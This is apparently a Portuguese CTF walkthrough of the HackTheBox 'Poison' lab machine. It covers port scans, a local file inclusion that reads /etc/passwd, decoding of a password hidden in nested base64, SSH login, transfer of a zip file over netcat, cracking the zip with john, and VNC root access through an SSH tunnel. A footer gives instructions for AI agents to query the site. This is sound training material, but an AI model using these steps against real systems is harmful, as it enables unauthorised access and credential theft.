> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Resolução da máquina Poison do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Habilidades:**

* Inclusão de Arquivo Local (LFI)
* Quebrando arquivo ZIP
* Abusando do VNC - vncviewer (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/41f2ee14732091755074ac611d891cad6ebbdac3" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/a19625ef6bf2b4bd30d594f23856e8a1d9ac7ab4" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="/files/f67b580a18f6c373a0ecc43b5fcc44b457b7dcad" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap (22, 80):**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="/files/4ae3db5791c95eaf6af79cd446173d8037065681" alt=""><figcaption></figcaption></figure>

## Porta 80 - FreeBSD

{% hint style="info" %}
FreeBSD é um popular sistema operacional livre de código aberto baseado na versão BSD do sistema operacional Unix. O FreeBSD tem a reputação de ser rápido, estável e particularmente adequado para operar como servidor de Internet ou servidor de arquivos.
{% endhint %}

<figure><img src="/files/49f0160d568bca6d5a699f5af13d8468fb422809" alt=""><figcaption></figcaption></figure>

### **Exploração de LFI**

Identificamos um parâmetro vulnerável:

```
?file=FILE
```

<figure><img src="/files/821af78464aa78f0c40c8aef0d930f785f8a01ff" alt=""><figcaption></figcaption></figure>

Isso nos permite ler qualquer arquivo disponível no sistema.

Remotamente `pwnbackup.txt`, encontramos uma string indicando uma senha criptografada **13 vezes em base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo
```

<figure><img src="/files/4ed4c74bf093710688a6e26498eec64e242f5a89" alt=""><figcaption></figcaption></figure>

Descriptografia com `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

A senha revelada é:

* `Charix!2#4%6&8(0`

### **Busca de usuário do sistema**

Listamos `/etc/passwd` via LFI e encontramos o usuário **charix**.

<figure><img src="/files/fb4819de77446ef3bb361df36eca1aa85cba97f8" alt=""><figcaption></figcaption></figure>

Conexão SSH com as credenciais encontradas:

```bash
ssh charix@10.10.10.84 
```

<figure><img src="/files/709b4c9c9911180431c38e1f5cae24da90ce14f0" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

Flag `user.txt` recuperado

<figure><img src="/files/3dc8388e8d7720fce3ac5773673b2cc20b7e5d26" alt=""><figcaption></figcaption></figure>

## **Escalada de privilégios**

Encontramos um arquivo **secret.zip**.

#### **Transferência de arquivo com Netcat**

Em nossa máquina:

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

O arquivo está protegido por senha.

<figure><img src="/files/54f783849dd5479646df6105bdd716eb91f5a598" alt=""><figcaption></figcaption></figure>

### **Quebra de senha do ZIP**

**Extraia o hash com `zip2john`**:

Então usaremos o zip2john para extrair o hash

```bash
zip2john secret.zip > hash
```

**Quebra de senha com `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Resultado**: Não encontrado

<figure><img src="/files/ac5d1e7a61e7c9fd63a6007addd34ca5cae2796e" alt=""><figcaption></figcaption></figure>

Testamos a reutilização da senha descoberta anteriormente:

<figure><img src="/files/3640bbf3be144f9406c7d9308a29efa8a55f8b7b" alt=""><figcaption></figcaption></figure>

/*Sucesso! /*/\*

`segredo` o arquivo contém caracteres estranhos, sugerindo uma chave de acesso

### Exploração das portas 5800, 5801, 5900, 5901 - VNC

Identificamos portas em escuta:

```bash
netstat -an | grep LISTEN
```

<figure><img src="/files/fa67eb2bd400a6470d4131d17dcc3e8fbd9ed3d6" alt=""><figcaption></figcaption></figure>

#### **Túnel SSH para encaminhar portas VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="/files/e67ec5930b4719e4f795d7e053e2031b85ae0c1c" alt=""><figcaption></figcaption></figure>

Varredura do serviço VNC :

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="/files/1b9e5e0355d21cdcfac0056f3d7da667e1ecc2e9" alt=""><figcaption></figcaption></figure>

#### **Login via vncviewer**

Usamos a senha encontrada em `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Obtemos um **acesso root** na máquina!

<figure><img src="/files/93f2ec9e4cad3add8b7054dd73a01df99e1500d9" alt=""><figcaption></figcaption></figure>

### Bandeira root.txt

<figure><img src="/files/bee55e77d07fa493434a4599f4998c1d23899ada" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dbb880219508b2167b4200793920ef684597a88d" alt="" width="404"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
